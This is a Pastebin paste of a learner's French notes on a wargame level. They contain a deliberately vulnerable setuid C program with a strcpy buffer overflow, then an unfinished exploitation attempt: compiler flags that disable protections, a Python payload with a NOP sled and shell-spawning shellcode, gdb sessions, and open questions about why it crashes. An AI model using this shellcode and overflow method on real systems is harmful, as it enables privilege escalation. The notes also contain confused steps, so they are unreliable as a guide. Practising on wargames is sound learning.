Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wargame 02 - wargame.newbiecontest.org:22222 level02///level02
- ---> passer root dans le binaire (sticky bit) et faire un cat $HOME/.password
- bin02.c
- #include <stdio.h>
- #include <string.h>
- int protect_affiche(char *texte)
- {
- char buffer[45];
- strcpy(buffer, texte);
- printf("%s\n",buffer);
- }
- int main(int argc, char ** argv)
- {
- char interdit[]={0x89,0x90,0x99,0x80,0xc0,0xe1,0xb0,0x00};
- int i,j;
- if (argc!=2)
- {
- printf("Usage: %s <texte>\n", argv[0]);
- return 1;
- }
- for(i=0;argv[1][i];i++)
- {
- for(j=0;interdit[j];j++)
- {
- if(argv[1][i] == interdit[j])
- {
- printf("Detection shellcode !\n");
- return 1;
- }
- }
- }
- protect_affiche(argv[1]);
- return 0;
- }
- mkdir /tmp/wg02 && cp bin02.c /tmp/wg02/bin02.c && cd /tmp/wg02
- gcc -g -fno-stack-protector -z execstack -o bin02 bin02.c
- nano b1
- #!/usr/bin/python
- print 'A' * 53
- chmod a+x b1
- b1 > e1
- ./bin02 $(cat e1)
- Erreur de segmentation
- vi e1
- escape+: % !xxd
- shift+r
- replace last 4 with 31323334
- escape+: % !xxd -r
- escape+: wq!
- gdb bin02
- list
- b 8
- r $(cat e1)
- info reg
- x/40x $esp
- nano b2
- #!/usr/bin/python
- nopsled = '\x90' * 8
- shellcode = (
- '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
- '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
- '\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
- )
- padding = 'A' * (49 - 8 - 32)
- eip = '1234'
- print nopsled + shellcode + padding + eip
- chmod a+x b2
- b2 > e2
- objdump -d bin02
- locate the hexa test
- 804856c: 84 c0 test %al,%al
- 804856e: 75 91 jne 8048501 <main+0x60>
- 8048570: 8b 45 0c mov 0xc(%ebp),%eax
- vi b2
- escape+: % !xxd
- /75 91
- locate the good one (surrounded by 84 c0 & 8b 45 0c)
- shift+r
- #replace 75 with 74
- escape+: % !xxd -r
- escape+: wq!
- gdb bin02
- b 8
- r $(cat e2)
- info reg
- x/40x $esp
- cf screenshot 05b.png
- http://www.noelshack.com/2020-32-4-1596727575-05b.png
- locate adresse mid of NOP Sled
- 0xbffffdb0 0xbffffbd0 (avec nopsled 16)
- eip = '\xb0\xfd\xff\xbf'
- cp b3 b4
- nano b3
- patch eip
- chmod a+x b3
- ./b3 > e3
- gdb bin02
- b 8
- r $(cat e3)
- info reg
- x/40x $esp
- c
- Continuing.
- ▒▒▒▒▒▒▒▒1▒ð̀1▒Rhn/shh//bi▒▒RS▒▒B
- ̀AAAAAAAAA▒▒▒▒
- Program received signal SIGSEGV, Segmentation fault.
- 0xbffffdb0 in ?? ()
- --Questions :
- pourquoi buffer overflow à 53 char et non 45? est-ce important?
- exploit : nopsled (8) - shellcode (32) - padding (9) - eip (4), pas bon? faut-il un nopsled plus grand? (test avec nopsled 16 nok)
- disass/reass de bin02 dans la homedir est-il possible? non, rx only
- bin02 en lecture seule, dessas gdb et jump vers la function? (à voir quand l'exploit passera)
Add Comment
Please, Sign In to add comment